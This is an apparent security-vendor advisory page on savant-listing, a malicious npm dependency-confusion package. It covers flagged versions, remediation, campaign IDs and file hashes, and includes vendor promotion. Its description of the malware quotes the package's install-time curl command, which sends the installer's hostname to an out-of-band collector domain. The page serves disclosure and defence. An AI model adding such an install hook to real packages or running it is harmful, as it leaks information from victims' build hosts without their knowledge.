Which versions of savant-listing are malicious?

The following npm versions of savant-listing are flagged malicious: 999.9.9, 999.9.10. Treat any of these as compromised.

How do I remediate savant-listing if I installed it?

Remove savant-listing from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is savant-listing part of a known attack campaign?

Yes — savant-listing is associated with the IN-MAL-2026-004961, IN-MAL-2026-004956, IN-MAL-2026-004955, IN-MAL-2026-004962 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect savant-listing in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking savant-listing and packages like it before any post-install script runs.

Malicious package

savant-listingnpm

Malicious code in savant-listing (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5401

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall savant-listing

What this malware does

[email protected] is a dependency-confusion squat. package.json declares both install and postinstall lifecycle scripts that run curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname), unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every npm install. The version 999.9.9 and description SAFE PoC - Demonstrates dependency confusion are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction.

Malicious versions

2 flagged

999.9.9999.9.10

Indicators of compromise (SHA-256)

2d6b7c657fc5ab0647f053b2eea71bebc1d720e7a70abf0316323af2a9d849aa

518fb2425e398b68afc0ced11b5ccf24fbcab3aae9c831b1a34a830c941f5963

7360e78a5c5d56ea9323cde1f41e33ce8cc6b625034ef82d067bbfeafee60461

972304a7ce9c3b67c976d03f4c2769d33ec68e2ff01b358a8ab374793c7ce078

Frequently asked questions

No. savant-listing on npm has been identified as a malicious package (versions 999.9.9, 999.9.10 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004961IN-MAL-2026-004956IN-MAL-2026-004955IN-MAL-2026-004962

References

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection